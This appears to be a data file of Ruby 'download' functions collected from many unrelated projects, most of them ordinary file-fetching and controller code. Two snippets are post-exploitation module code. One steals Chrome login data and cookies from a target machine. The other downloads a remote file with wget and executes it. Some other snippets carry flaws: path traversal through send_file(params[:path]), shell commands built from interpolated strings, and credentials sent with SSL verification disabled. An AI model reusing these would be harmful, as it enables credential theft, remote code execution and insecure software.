"def processScript(ioSlaveActions, iAdditionalParameters)\n rError = nil\n\n # Check for options\n checkVar(:Comment, 'Comment to give to the release')\n checkVar(:ReleaseUser, 'Name of the user releasing')\n checkVar(:BranchName, 'Name of the branch to release from')\n checkVar(:ReleaseVersion, 'Version of the release')\n checkVar(:TasksFileName, 'Name of the file containing Tasks ID')\n checkVar(:TicketsFileName, 'Name of the file containing Tickets ID')\n checkVar(:SVNCOCmd, 'Command line parameters to give \"svn co\" to checkout this project')\n checkVar(:DeliverCmd, 'Command to execute to generate deliverables')\n # Read files first. Don't try anything if they fail.\n rError = readFiles\n if (rError == nil)\n # Lists of files, Tasks and Tickets have been retrieved\n # Create the directory that will store deliverables\n require 'tmpdir'\n lTempDeliverablesDirName = \"#{Dir.tmpdir}/WEACEDeliver_#{Thread.current.object_id}\"\n require 'fileutils'\n FileUtils::mkdir_p(lTempDeliverablesDirName)\n rError, lReleaseNotes, lDeliverables = testRegressionAndDeliver(lTempDeliverablesDirName)\n if (rError == nil)\n # Deliver the files for real\n lDeliverables.each do |iPlatformName, iPlatformInfo|\n iPlatformInfo.each do |iDeliveryType, iFilesList|\n lDeliveryFilesDir = \"#{lTempDeliverablesDirName}/Releases/#{iPlatformName}/#{iDeliveryType}\"\n iFilesList.each do |iFileName|\n ioSlaveActions.addSlaveAction(\n Tools::FilesManager, Actions::File_Upload,\n TransferFile.new(\"#{lDeliveryFilesDir}/#{iFileName}\"), iPlatformName, iDeliveryType, @BranchName, @ReleaseVersion, @ReleaseUser, @Comment\n )\n end\n end\n end\n lReleaseNotesDir = \"#{lTempDeliverablesDirName}/ReleaseNotes\"\n lReleaseNotes.each do |iReleaseNoteType, iReleaseNoteName|\n ioSlaveActions.addSlaveAction(\n Tools::FilesManager, Actions::File_UploadReleaseNote,\n TransferFile.new(\"#{lReleaseNotesDir}/#{iReleaseNoteName}.#{iReleaseNoteType}\"), iReleaseNoteType, @BranchName, @ReleaseVersion, @ReleaseUser, @Comment\n )\n end\n # For each Ticket to update, add a release comment\n @LstTickets.each do |iTicketID|\n ioSlaveActions.addSlaveAction(\n Tools::TicketTracker, Actions::Ticket_AddReleaseComment,\n iTicketID, @BranchName, @ReleaseVersion, @ReleaseUser, @Comment\n )\n end\n # For each Task to update, add a commit comment\n @LstTasks.each do |iTaskID|\n ioSlaveActions.addSlaveAction(\n Tools::ProjectManager, Actions::Task_AddReleaseComment,\n iTaskID, @BranchName, @ReleaseVersion, @ReleaseUser, @Comment\n )\n end\n # Add a wiki comment\n ioSlaveActions.addSlaveAction(\n Tools::Wiki, Actions::Wiki_AddReleaseComment,\n @BranchName, @ReleaseVersion, @ReleaseUser, @Comment\n )\n end\n if (rError == nil)\n FileUtils::rm_rf(lTempDeliverablesDirName)\n else\n log_err \"Error encountered while distributing deliverables: #{rError}. Keeping directory #{lTempDeliverablesDirName} for investigation purposes. Feel free to remove it.\"\n end\n end\n\n return rError\n end",
"def download(download_dir)\n @downloaded_file = File.join(download_dir,\"meddra_adverse_effects.tsv.gz\")\n \n @log.info \"Downloading from SIDER to #{@downloaded_file}\" if @log\n system(\"curl -o #{@downloaded_file} -i ftp://sideeffects.embl.de/SIDER/latest/meddra_adverse_effects.tsv.gz\")\n system(\"gunzip #{@downloaded_file}\")\n \n @file = File.join(download_dir,\"meddra_adverse_effects.tsv\")\n end",
"def download\n ExtensionVersion.increment_counter(:web_download_count, @version.id)\n Extension.increment_counter(:web_download_count, @extension.id)\n ManageIQ::Metrics.increment('extension.downloads.web')\n DailyMetric.increment(@version.download_daily_metric_key)\n\n redirect_to @version.download_url\n end",
"def download_in_background options={}\n begin\n self.download( options.merge( { :fork => true } ) )\n rescue Exception => e\n SCRAPER_LOG.error( \"Skipped dowloading '#{location}': #{e.message}\" )\n end\n end",
"def download(build, installer_name)\n #delete the installer if there is with the similar name to make sure we are running the correct one\n\tFile.delete(installer_name) if File.exist?(installer_name)\n\traise \"Could not determine the latest build\\n\" if build <= 0 #Expected value is more than zero\n\tdownload_result = `scp [email protected]://opt//ctk//builds//numbered//sequenceL-Root-#{build}/#{$os_name}//installer.run #{installer_name}`\n\traise \"Error! The installer was not downloaded\\n\" unless File.exist?(installer_name)\n\t#error if the installer size is less than 5 MB\n\traise \"The installer is broken!\" unless File.size(installer_name)/(1024*1024) > 5\n\nend",
"def process\n if @fromsource\n puts \"From Source is specified, processing from source for #{name}\" if HeyDan.help?\n process_from_source \n end\n\n begin\n if HeyDan::Helper.dataset_exists?(dataset_file_name)\n puts \"Dataset for #{name} exists\" if HeyDan.help?\n else\n download \n end\n rescue \n puts \"Had trouble downloading #{name}, processing from source instead\" if HeyDan.help?\n process_from_source \n end \n update_jurisdiction_files\n end",
"def download\n ExtensionVersion.increment_counter(:web_download_count, @version.id)\n Extension.increment_counter(:web_download_count, @extension.id)\n BonsaiAssetIndex::Metrics.increment('extension.downloads.web')\n DailyMetric.increment(@version.download_daily_metric_key)\n\n redirect_to helpers.download_url_for(@version)\n end",
"def download_command(src, name, folder_name, data)\n url = data[:url]\n if src.to_s == \"bandcamp_urls\"\n download_bandcamp_url(folder_name, url)\n elsif src.to_s == \"youtube_urls\"\n download_youtube_url(folder_name, url)\n end\n end",
"def download\n send_file @cfile.path.to_s\n end",
"def download\n\t\tsend_file(params[:path])\n end",
"def download\n if !@local_target.nil? && !@remote_target.nil?\n if @verbose\n system \"#{ @dbu } download #{ @remote_target } #{ @local_target }\"\n else\n exec = `#{ @dbu } download #{ @remote_target } #{ @local_target }`\n end\n else\n error_msg = 'Local and remote targets cannot be nil'\n @logger.error(error_msg) if @logger\n fail StandardError, error_msg\n end\n end",
"def get_download\n\tend",
"def download\r\n logger.info(\"UserController::download:---#{params}\")\r\n end",
"def download!(file)\n login\n warn \"DEBUG: downloading #{file}\" if debug\n if dry_run\n warn \"DEBUG: download skipped for dry run\" if dry_run\n filename = file\n body = \"no body\"\n else\n page = agent.get(file)\n filename = page.filename\n body = page.body\n end\n [ filename, body ]\n end",
"def download!\n # This variable can contain the proc that'll be sent to\n # the subprocess execute.\n data_proc = nil\n\n extra_subprocess_opts = {}\n if @ui\n # If we're outputting progress, then setup the subprocess to\n # tell us output so we can parse it out.\n extra_subprocess_opts[:notify] = :stderr\n\n data_proc = Vagrant::Util::CurlHelper.capture_output_proc(@logger, @ui, @source)\n end\n\n @logger.info(\"Downloader starting download: \")\n @logger.info(\" -- Source: #{@source}\")\n @logger.info(\" -- Destination: #{@destination}\")\n\n retried = false\n begin\n # Get the command line args and the subprocess opts based\n # on our downloader settings.\n options, subprocess_options = self.options\n options += [\"--output\", @destination]\n options << @source\n\n # Merge in any extra options we set\n subprocess_options.merge!(extra_subprocess_opts)\n\n # Go!\n execute_curl(options, subprocess_options, &data_proc)\n rescue Errors::DownloaderError => e\n # If we already retried, raise it.\n raise if retried\n\n @logger.error(\"Exit code: #{e.extra_data[:code]}\")\n\n # If its any error other than 33, it is an error.\n raise if e.extra_data[:code].to_i != 33\n\n # Exit code 33 means that the server doesn't support ranges.\n # In this case, try again without resume.\n @logger.error(\"Error is server doesn't support byte ranges. Retrying from scratch.\")\n @continue = false\n retried = true\n retry\n ensure\n # If we're outputting to the UI, clear the output to\n # avoid lingering progress meters.\n if @ui\n @ui.clear_line\n\n # Windows doesn't clear properly for some reason, so we just\n # output one more newline.\n @ui.detail(\"\") if Platform.windows?\n end\n end\n\n validate_download!(@source, @destination, @checksums)\n\n # Everything succeeded\n true\n end",
"def run\n if @name_args.length != 2\n Chef::Log.fatal(\"You must supply a cookbook name and version to download!\")\n exit 42\n end\n \n cookbook_name = @name_args[0]\n cookbook_version = @name_args[1] == 'latest' ? '_latest' : @name_args[1]\n Chef::Log.info(\"Downloading #{cookbook_name} cookbook version #{cookbook_version}\")\n \n cookbook = rest.get_rest(\"cookbooks/#{cookbook_name}/#{cookbook_version}\")\n manifest = cookbook.manifest\n\n basedir = File.join(config[:download_directory], \"#{cookbook_name}-#{cookbook.version}\")\n if File.exists?(basedir)\n if config[:force]\n Chef::Log.debug(\"Deleting #{basedir}\")\n FileUtils.rm_rf(basedir)\n else\n Chef::Log.fatal(\"Directory #{basedir} exists, use --force to overwrite\")\n exit\n end\n end\n \n Chef::CookbookVersion::COOKBOOK_SEGMENTS.each do |segment|\n next unless manifest.has_key?(segment)\n Chef::Log.info(\"Downloading #{segment}\")\n manifest[segment].each do |segment_file|\n dest = File.join(basedir, segment_file['path'].gsub('/', File::SEPARATOR))\n Chef::Log.debug(\"Downloading #{segment_file['path']} to #{dest}\")\n FileUtils.mkdir_p(File.dirname(dest))\n rest.sign_on_redirect = false\n tempfile = rest.get_rest(segment_file['url'], true)\n FileUtils.mv(tempfile.path, dest)\n end\n end\n Chef::Log.info(\"Cookbook downloaded to #{basedir}\")\n end",
"def download\n record_activity(\"downloaded \" + params[:file_name])\n send_file Rails.root.join('public', 'uploads', params[:file_name])\n end",
"def download_data\n # Custom downloader functionality implementation, this is just a simplified example template\n $log.info 'Starting downloading data from the Dummy API.'\n entities = @metadata.list_entities\n results = []\n entities.each do |entity|\n entity_custom = entity.custom\n load_metadata entity, entity_custom['fields']\n start_date, end_date = get_date_interval(entity)\n results << [entity, download_data_range(entity, start_date, end_date)]\n end\n save_to_s3 results\n end",
"def cmd_download\n raise NotImplementedError, \"Subclass must implement cmd_download()\"\n end",
"def download_install_file(action, args={})\n company = @company\n username = @user\n password = @password\n url = \"https://#{company}.logicmonitor.com/santaba/do/#{action}?\"\n args.each_pair do |key, value|\n url << \"#{key}=#{value}&\"\n end\n url << \"c=#{company}&u=#{username}&p=#{password}\"\n uri = URI(url)\n begin\n http = Net::HTTP.new(uri.host, 443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n req = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(req)\n return response.body\n rescue SocketError => se\n puts \"There was an issue communicating with #{url}. Please make sure everything is correct and try again.\"\n puts se.message\n rescue Error => e\n puts \"There was an issue.\"\n puts e.message\n end\n return nil\nend",
"def download(project:, build_number:, flavor:, name:, pre_apply_hook:, output_dir:)\n raise \"#{self.class}#download not implemented\"\n end",
"def download_and_unzip(base_url, system_id, filename, save_to_dir)\n download_url = File.join(base_url, system_id, filename)\n LibertyBuildpack::Util.download_zip('3.+', download_url, 'DynamicPULSE Agent', save_to_dir)\n rescue => e\n raise \"[DynamicPULSE] Can't download #{filename} from #{download_url}. Please check dynamicpulse-remote.xml. #{e.message}\"\n end",
"def runFassDownloader()\n xmldoc = XmlSimple.xml_in(@automation_config_file)\n run_fass=\"true\";\n id=\"\";\n check_interval=0;\n if xmldoc['run_downloader']==nil\n run_fass=false\n puts \"Tool enable flag not present in config file\"\n else\n run_fass=xmldoc['run_downloader'].first\n end \n if xmldoc['user_id']==nil\n run_fass=false\n puts \"User id data not present in config file\"\n else\n id=xmldoc['user_id'].first\n end\n if xmldoc['check_interval']==nil\n run_fass=false\n puts \"check_interval data not present in config file\"\n else\n check_interval=xmldoc['check_interval'].first\n end\n time_now = Time.now-(3600*24*check_interval.to_i)\n day_num=time_now.day\n month_num=time_now.month\n day=\"\"\n month=\"\"\n if(day_num<10)\n day=\"0\"+day_num.to_s()\n else\n day=day_num.to_s()\n end\n if(month_num<10)\n month=\"0\"+month_num.to_s()\n else\n month=month_num.to_s()\n end\n fromDate=time_now.year.to_s()+\"-\"+month+\"-\"+day \n if(@new_book_operation==true)\n if xmldoc['start_date']==nil\n run_fass=false\n puts \"start_date data not present in config file\"\n else\n fromDate=xmldoc['start_date'].first\n end\n end\n if(run_fass==\"true\")\n path=@path+\"xml/xml/\"\n if system(\"FassDownloader.exe #{path} #{id} #{fromDate}\")\n print \"success\"\n else\n exit;\n end\n file_temp=\"\"\n if xmldoc['manifest_file']==nil\n run_fass=false\n puts \"manifest_file data not present in config file\"\n exit;\n else\n file_temp=xmldoc['manifest_file'].first\n end\n manifest_file=@path+\"xml/\"+file_temp;\n if system(\"java -jar manifest_generator.jar #{path} #{manifest_file}\")\n print \"Manifest Generation success\\n\"\n else\n print \"Manifest Generation Failed\\n\"\n exit;\n end\n else \n puts \"Downloader Tool will not run\"\n end\n \nend",
"def perform_download_configuration!\n find_nginx!\n if not @nginx_conf\n error \"Could not find the NginX configuration file in #{y(@nginx_conf)}\"\n exit\n end\n \n local_nginx_dir = File.join(local.gitpusshuten_dir, 'nginx')\n FileUtils.mkdir_p(local_nginx_dir)\n Spinner.return :message => \"Downloading NginX configuration file to #{y(local_nginx_dir)}..\" do\n e.scp_as_root(:download, @nginx_conf, local_nginx_dir)\n g('Done!')\n end\n end",
"def download_bootstrap_files(machine_name = 'bootstrap-backend')\n # download server files\n %w{ actions-source.json webui_priv.pem }.each do |analytics_file|\n machine_file \"/etc/opscode-analytics/#{analytics_file}\" do\n local_path \"#{node['qa-chef-server-cluster']['chef-server']['file-dir']}/#{analytics_file}\"\n machine machine_name\n action :download\n end\n end\n\n# download more server files\n %w{ pivotal.pem webui_pub.pem private-chef-secrets.json }.each do |opscode_file|\n machine_file \"/etc/opscode/#{opscode_file}\" do\n local_path \"#{node['qa-chef-server-cluster']['chef-server']['file-dir']}/#{opscode_file}\"\n machine machine_name\n action :download\n end\n end\nend",
"def download_bash_history\n # save statistic bash history\n statistic = Statistic.find(params[:id])\n \n # Download bash histories\n\n # Currently we are not including the bash analytics as part of this file\n # Instead, we are running analytics on the data using python scripts\n #bash_analytics = \"\"\n #statistic.bash_analytics.each do |analytic| \n # bash_analytics = bash_analytics + \"#{analytic}\" + \"\\n\"\n #end\n\n file_text = \"Scenario #{statistic.scenario_name} created at #{statistic.scenario_created_at}\\nStatistic #{statistic.id} created at #{statistic.created_at}\\n\\nBash Histories: \\n \\n#{statistic.bash_histories} \\n\"\n file_path = \"#{Rails.root}/data/statistics/#{statistic.id}_Statistic_#{statistic.scenario_name}.txt\"\n file_name = \"#{statistic.id}_Statistic_#{statistic.scenario_name}.txt\"\n if File.exist?(file_path)\n send_file(file_path, filename: file_name, type: \"application/txt\")\n else\n send_data(file_text, filename: file_name, type: \"application/txt\")\n end\n end",
"def process_download(options = {})\n @download = Download.process(self, options)\n end",
"def prepare_download_command(connection, logger)\n result = ssh_exec(connection, 'which wget', logger)\n if result.success?\n 'wget -q https://www.chef.io/chef/install.sh --output-document install.sh'\n else\n 'curl -sS -L https://www.chef.io/chef/install.sh --output install.sh'\n end\n end",
"def perform\n # before downloading we have to check if file exists. checkfiles service\n # also gives us information for the download: hostname, file size for\n # progressbar\n return self unless self.check\n\n file = open(File.join(@downloads_dir, @filename), 'wb')\n block_response = Proc.new do |response|\n downloaded = 0\n total = response.header['content-length'].to_i\n\n unless total == @filesize\n @error = 'Access denied'\n return self\n end\n\n response.read_body do |chunk|\n file << chunk\n downloaded += chunk.size\n progress = ((downloaded * 100).to_f / total).round(2)\n yield chunk.size, downloaded, total, progress if block_given?\n end\n end\n\n RestClient::Request.execute(:method => :get,\n :url => self.download_link,\n :block_response => block_response)\n file.close()\n @downloaded = true\n self\n end",
"def download_url\n process_emulation 10\n clear_progress_bar\n self.downloaded_at = Time.now.utc\n save! && ready!\n end",
"def download\n file = BruseFile.find_by(:download_hash => params[:download_hash])\n if file.identity.user == current_user\n # send the file to the user\n send_data file.identity.get_file(file.foreign_ref), filename: file.name, type: file.filetype\n end\n end",
"def download\n if platinum_user_and_above?\n file_name = output(params[:division])\n file = Rails.root.join(\"downloads\", file_name)\n if File.exist?(file)\n send_file(\n file,\n filename: file_name,\n type: \"application/xlsx\",\n disposition: \"attachment\"\n )\n else\n redirect_to reports_division_path, :flash => {:error => \"File not found!\"}\n end\n else\n redirect_back :fallback_location => root_path, :alert => \"Access denied.\"\n end\n end",
"def google_1\n\nr=''\n# variable declarations\noutpath = datastore['DOWNLOAD_PATH']\nsysnfo = session.sys.config.sysinfo\npathexe=\"\\\"%programfiles%\\\"\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\"\ndatapath=\"%homepath%\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\\\\"User Data\\\"\\\\Default\"\n\n # check for proper settings enter by user ...\n if datastore['CHROME'] == 'nil' || datastore['DOWNLOAD_PATH'] == 'nil'\n print_error(\"Please set CHROME | DOWNLOAD_PATH options...\")\n return\n else\n print_status(\"Searching for Google Chrome path...\")\n #check if chrome.exe exists\n if session.fs.file.exist?(pathexe)\n print_good(\" Google Chrome directoy found...\")\n else\n print_error(\"Google Chrome path not found.\")\n print_line(\"\")\n return\n end\n end\n\n\n #check if chrome.exe its running, if true terminate the process\n proc=\"chrome.exe\"\n client.sys.process.get_processes().each do |x|\n next if skip_process_name?(x['name'].downcase)\n vprint_status(\"Checking #{x['name'].downcase} ...\")\n if proc == (x['name'].downcase)\n print_status(\"Attempting to terminate '#{x['name']}' (PID: #{x['pid']}) ...\")\n begin\n client.sys.process.kill(x['pid'])\n print_good(\" #{x['name']} terminated.\")\n end\n end\nend\n \n\n\n # list of arrays to be executed\n creds = [\n 'History',\n 'Login Data',\n 'Cookies',\n 'Web Data',\n 'Current Session'\n ]\n\n\n # loop funtion to download files from target system\n session.response_timeout=120 \n creds.each do |dump|\n r = client.fs.file.download(\"#{outpath}/#{sysnfo['Computer']}/#{dump}\",\"#{datapath}\\\\#{dump}\")\n print_good(\" Downloading => #{dump}\")\n\n # close client channel when done\n while(d = r.channel.read)\n break if d == \"\"\n end\n # error exception funtion\n rescue ::Exception => e\n print_error(\"Error Running Command: #{e.class} #{e}\")\n print_error(\" Error copying the file, try to see if Google Chrome its running on target machine.\")\nend\n\n\n\n\n\n\n# -------------------\n# MAIN MENU DISPLAYS\n# -------------------\ndef run\n session = client\n sysnfo = session.sys.config.sysinfo\n\n print_line(\"\")\n print_line(\" ---------------------------------\")\n print_line(\" | Computer: #{sysnfo['Computer']}\")\n print_line(\" | OS: #{sysnfo['OS']}\")\n print_line(\" ---------------------------------\")\n print_line(\"\")\n \n #print_warning(\"just another color display...\")\n #print_error(\"another color display...\")\n if datastore['FIREFOX'] \n\t firefox_1 # jump to firefox funtion\n end\t\n\n if datastore['CHROME']\n google_1 # jump to google chrome function\n end\n\n end\nend",
"def create_installer(install_file, id)\n puts \"Downloading install file\"\n File.open(install_file, \"w+\"){ |f|\n f.write(download_install_file(\"logicmonitorsetup\", {\"id\" => id.to_s, \"arch\" => get_arch,}))\n }\n puts \"Download complete\"\nend",
"def download\n # Retrieve \"file_id\" parameter.\n @file_id = params[:file_id]\n\n # Verify if the :file_id exists with the help of our StorageMock class.\n # This sample can only be executed if the provided file exists.\n unless exist?(@file_id)\n render text: 'Not Found', status: 404 && return\n end\n\n file_path = get_data_path(@file_id)\n\n # Check if doc already has a verification code registered on storage.\n verification_code = get_verification_code(@file_id)\n if verification_code.to_s.empty?\n # If not, generate a code and register it.\n verification_code = generate_verification_code\n set_verification_code(@file_id, verification_code)\n end\n\n # Generate the printer-friendly version.\n pfv_content = generate_printer_friendly_version(file_path, verification_code)\n # Return the generate file.\n send_data pfv_content, :filename => \"printer-friendly.pdf\"\n end",
"def download_file #DOWNLOADS FIRST AVAILABLE FILE\r\n \r\n link = \"/html/body/form/table[5]/tbody/tr/td/table/tbody/tr/td/table[5]/tbody/tr[2]/td/table/tbody/tr[2]/td[2]/span/table/tbody/tr[2]/td[6]/span/a\"\r\n \r\n #if browser.text.include? @time_web_format\r\n complete = false\r\n tries = 0\r\n until complete || tries == 5\r\n \r\n if browser.cell(:xpath, link).exists?\r\n \r\n #RENAME ZIP FILE IF IT ALREADY EXISTS.\r\n #EXPLICIT PATH DOWNLOAD FOLDER!!!\r\n zipfile_path = \"#{$paths.imports_path}StudentResultsExport_Extended.zip\"\r\n if File.exists?(zipfile_path)\r\n File.rename(zipfile_path,\"#{zipfile_path.gsub(\".zip\",\"_#{$ifilestamp}.zip\")}\")\r\n end\r\n \r\n browser.cell(:xpath, link).click\r\n return true\r\n \r\n end\r\n tries += 1\r\n end\r\n return false\r\n #end\r\n end",
"def run_download(source, dl_method, storage)\n storage.download_sources(source) unless dl_method == 'stream'\n end",
"def run\n vprint_status(\"Trying to find writable directory.\")\n writable_directory = nil\n writable_directory = \"/etc/\" if is_writable_directory(\"/etc\")\n writable_directory = \"/mnt/\" if (!writable_directory && is_writable_directory(\"/mnt\"))\n writable_directory = \"/var/\" if (!writable_directory && is_writable_directory(\"/var\"))\n writable_directory = \"/var/tmp/\" if (!writable_directory && is_writable_directory(\"/var/tmp\"))\n if writable_directory\n vprint_status(\"writable directory found, downloading file.\")\n rand_str = \"\"; 16.times{rand_str << (65 + rand(25)).chr}\n random_file_path = writable_directory + rand_str\n cmd_exec(\"wget -O #{random_file_path} #{datastore['URL']}\"); Rex::sleep(0.1)\n if file_exists(random_file_path)\n print_good(\"File downloaded using wget. Executing it.\")\n cmd_exec(\"chmod 777 #{random_file_path}\"); Rex::sleep(0.1)\n vprint_status(cmd_exec(\"sh #{random_file_path}\"))\n else\n print_error(\"Unable to download file.\")\n end\n else\n print_error(\"Writable directory not found.\")\n end\n end",
"def call\n @response = connection.get(url)\n if status == 200\n context.file = save!\n else\n context.fail! message: \"Download failed\"\n end\n end",
"def download_file(test = false)\n @update_file = Tempfile.new(['elasticsearch_update_file', @download.extension])\n\n @log.info('Downloading file from url.')\n\n write_file_from_url(@update_file, @download.url) unless test\n\n @update_file\n end",
"def download_file(f)\n run(\"curl -O http://github.com/meskyanichi/rails-templates/raw/master/files/#{f}\")\nend",
"def download!(source_url, destination_file); end",
"def run(robot, script)\n\nend",
"def download_ais(prog_id)\n return download_data(\"http://ais.channel4.com/asset/#{prog_id}\")\n end",
"def perform_deployment\n \tself.started_at = Time.now \t\n \tline = Cocaine::CommandLine.new(\"cd /home/mohkhan.Desktop/SFDC_DeplomentScripts && perl fetch_and_deploy.pl -r #{self.release} -d <#{self.target_config_name}> --mode=#{self.mode}\")\n \tline.run\n \tself.ended_at = Time.now\n \tself.status = \"deployed\"\n \tself.save\n end",
"def download_file(dataset_url, into, debug: false)\n puts \"Starting downloading #{dataset_url.split('/').last}\" if debug\n start = DateTime.now\n\n filename = into.join(dataset_url.split('/').last)\n if File.exists?(filename) && File.size(filename) > 1.megabyte\n puts \" #{dataset_url.split('/').last} already exists\" if debug\n return\n end\n\n\n response = HTTP.get(dataset_url)\n unless response.code == 200\n puts \" #{dataset_url.split('/').last} does not exist (code: #{response.code})\" if debug\n return\n end\n\n body = response.body\n\n File.open(filename, 'wb') do |file|\n body.each do |data|\n file.write data\n end\n end\n\n elapsed = (DateTime.now - start).to_f * 1.day\n puts \"#{elapsed.round(2)}s to download #{dataset_url.split('/').last}\" if debug\n\n elapsed\n end",
"def download_original ; path_download_file(:original).download end",
"def download\n @package = Package.find(params[:id])\n if @package.present?\n send_file Munki::Application::PACKAGE_DIR + @package.installer_item_location, :filename => @package.to_s(:download_filename)\n fresh_when :etag => @package, :last_modified => @package.created_at.utc, :public => true\n else\n render page_not_found\n end\n end",
"def get_data_download(project_id, data_download_id)\n get \"projects/#{project_id}/datadownload/#{data_download_id}\"\n end",
"def download_job(uuid, out_fn, username, password)\n puts \"Downloading data from job #{uuid} to #{out_fn}\"\n fail \"Output file exists!\" if File.exist?(out_fn)\n\n job = get_job(uuid, username, password)\n puts \"Job info:\"\n puts summarise_job(job, 2)\n puts \"\"\n\n # Download stuff.\n puts \"Retrieving index...\"\n index = get_json(job['results']['dataURL'], username, password, '')\n\n num_files = index['urlCount']\n puts \"Retrieving #{num_files} files...\"\n \n i = 0\n File.open(out_fn, 'w') do |out|\n index['urlList'].each do |url|\n i += 1\n print \" #{i} / #{num_files} (#{((i.to_f / num_files.to_f) * 100.0).round(2)}%) \\r\"\n\n begin\n # RAW HTTP get request\n res = Net::HTTP.get(URI(url))\n zlibr = Zlib::GzipReader.new(StringIO.new(res.to_s))\n out.puts zlibr.read\n rescue StandardError => e\n print \"\\n*** ERR on file #{i}, URL: #{url}\\n\"\n end\n \n end # /url iteration\n end # /file handle\n\n print \"Done\\n\"\nend",
"def download_benchmark_output\n if !ApplicationController.fire_cloud_client.services_available?('GoogleBuckets')\n head 503 and return\n end\n\n requested_file = ApplicationController.gcs_client.execute_gcloud_method(:get_workspace_file, 0, @user_workspace.namespace,\n @user_workspace.name, params[:filename])\n if requested_file.present?\n @signed_url = ApplicationController.gcs_client.execute_gcloud_method(:generate_signed_url, 0, @user_workspace.namespace,\n @user_workspace.name, params[:filename], expires: 15)\n redirect_to @signed_url\n else\n redirect_to user_workspace_path(project: @user_workspace.namespace, name: @user_workspace.name),\n alert: 'The file you requested was unavailable. Please try again.' and return\n end\n\n end",
"def download\n api_url = build_url\n RestClient::Request.execute(method: 'GET', url: api_url, open_timeout: 20)\n end",
"def generate_download\n # TODO: to support scoping by other filters\n # we will have to scope all filter params throughout by their target base\n # e.g. collection_object[param]\n a = nil\n\n q = ::Queries::CollectionObject::Filter.new(params)\n q.project_id = nil\n\n if q.all(true)\n q.project_id = sessions_current_project_id\n a = DwcOccurrence.by_collection_object_filter(\n filter_scope: q.all,\n project_id: sessions_current_project_id)\n else\n a = DwcOccurrence.where(project_id: sessions_current_project_id)\n if params[:dwc_occurrence_start_date]\n a = a.where('dwc_occurrences.updated_at < ? and dwc_occurrences.updated_at > ?', params[:dwc_occurrence_start_date], params[:dwc_occurrence_end_date])\n end\n end\n\n @download = ::Export::Dwca.download_async(a, request.url, predicate_extension_params: predicate_extension_params )\n render '/downloads/show'\n end",
"def download_translations\n status\n @crowdin.export_translations\n @lang_ready.each do |lang|\n puts \"Downloading '#{lang}' in zip format\"\n @crowdin.download_translation(lang, output: \"#{@download_folder}/output-#{lang}.zip\")\n end\n end",
"def download_file(url, dest)\n ENV['DLURL'] = url\n ENV['DLDEST'] = dest\n retval = $options['verbose'] ? \n system($options['dlcommand']) :\n system($options['dlcommand'] + $options['sink'])\n\n unless retval\n debug(\"System download command returned error: #$?\")\n raise CouldNotDownloadError, \"#{url} (#$?)\", caller\n end\nend",
"def download_slideshow\n Down.download bucket_url.url\n end",
"def download(f)\n result = \"\"\n prefix = \"dat/\"\n file_names = \"name.dat.txt\"\n file_surna = \"surnames.dat.txt\" \n file_words = \"words.dat.txt\"\n http_names_m = \"http://www.census.gov/genealogy/names/dist.male.first\"\n http_names_f = \"http://www.census.gov/genealogy/names/dist.female.first\"\n http_surnames = \"http://www.census.gov/genealogy/names/dist.all.last\"\n http_words = \"http://www.mieliestronk.com/corncob_lowercase.zip\"\n\n case f\n when 'names'\n print \"Downloading names ... [BUSY]\"\n nm_uri = URI.parse(http_names_m)\n nf_uri = URI.parse(http_names_f)\n (open(nm_uri).read + open(nf_uri).read).each_line {|m|\n result += m.split(/\\s+/)[0].capitalize + \"\\n\"\n }\n File.open(prefix + file_names, \"w\").write( result )\n print \"\\b\\b\\b\\b\\b\\b[DONE]\\n\"\n when 'surnames'\n print \"Downloading surnames ... [BUSY]\"\n sr_uri = URI.parse(http_surnames)\n (open(sr_uri).read).each_line {|m|\n result += m.split(/\\s+/)[0].capitalize + \"\\n\"\n }\n File.open(prefix + file_surna, \"w\").write ( result )\n print \"\\b\\b\\b\\b\\b\\b[DONE]\\n\"\n when 'words'\n print \"Downloading words ... [BUSY]\"\n wr_uri = URI.parse(http_words)\n # Store the zipfile\n File.open(prefix + file_words, \"w\").write(wr_uri.read)\n unzip(prefix + file_words)\n print \"\\b\\b\\b\\b\\b\\b[DONE]\\n\"\n end\n end",
"def exec_api_download(json_req, download_path)\n begin\n req = sign_request(json_req)\n File.open(download_path, \"w\") do |io|\n return HttpChannel.new(api_uri).execute_download(req) { |d| io << d; d.length }\n end\n rescue Curl::Err::CurlError => ex\n return JsonResponse.new(\"fail\", ex.message)\n end\n end",
"def download_contents\n 5.times do |index|\n begin\n p \"Downloading #{self.url} (#{index+1})\"\n return `curl --user-agent \"#{user_agent}\" -L -s -b#{Settings.root}/tmp/cookies.txt \"#{self.url}\"` \n rescue Exception => e\n p \"There was an error downloading #{self.url}\"\n p e\n p e.backtrace \n end\n end \n '' \n end",
"def run\n super\n\n entity_name = _get_entity_name\n opt_create_entities = _get_option(\"create_entities\")\n \n # Make sure the key is set\n api_key = _get_task_config(\"publicwww_api_key\")\n\n # special case google analytics, as we can find interesting things by not \n # sending the last bit of the key\n if entity_name =~ /^ua-.*$/i\n entity_name = entity_name.split(\"-\")[0..-2].join(\"-\")\n _log \"Dropping trailing part of google user agent: #{entity_name}\"\n end\n\n\n # Craft the UniqueToken search URL to export\n query_url = \"https://publicwww.com/websites/%22#{entity_name}-%22/?export=urls&key=#{api_key}\"\n \n # Download the xport\n download = http_get_body(query_url)\n \n # read the file results\n download.split(\"\\n\").each do |found_url|\n _create_entity(\"Uri\" , \"name\" => found_url) if opt_create_entities\n end\n\n # store links as an extended detail\n _set_entity_detail(\"public_www_results\", { entity_name => download.split(\"\\n\")[1..30] } )\n\n end",
"def exec_api_download(uri, json_req, download_path)\n raise \"not yet implemented\"\n begin\n http_post_download(uri, json_req.to_json, download_path)\n return JsonResponse.new(\"success\")\n rescue Curl::Err::CurlError => ex\n return JsonResponse.new(\"fail\", ex.message, ex.backtrace)\n end\n end",
"def download_package\n path = download_path\n remote_file path do\n source URL\n action :create\n only_if { !::File.exist?(PATH) }\n end\n end",
"def download_from_device\n add_breadcrumb \"Waktu Kerja dan Lembur\", \"#absences\"\n add_breadcrumb \"Download Data Kehadiran Dari Alat Fingerprint\", \"#download_from_Device\"\n @fingerprint_device = FingerprintDevice.find_all_by_company_id(current_company_id)\n @download_process = DownloadDataLog.last(:conditions => {:company_id => current_company_id, :end_time => nil})\n render :layout => false\n end",
"def download(api_params)\n File.open(File.basename(api_params[:download_location]), 'wb') do |file|\n file.write(api_params[\"data\"])\n end\n end",
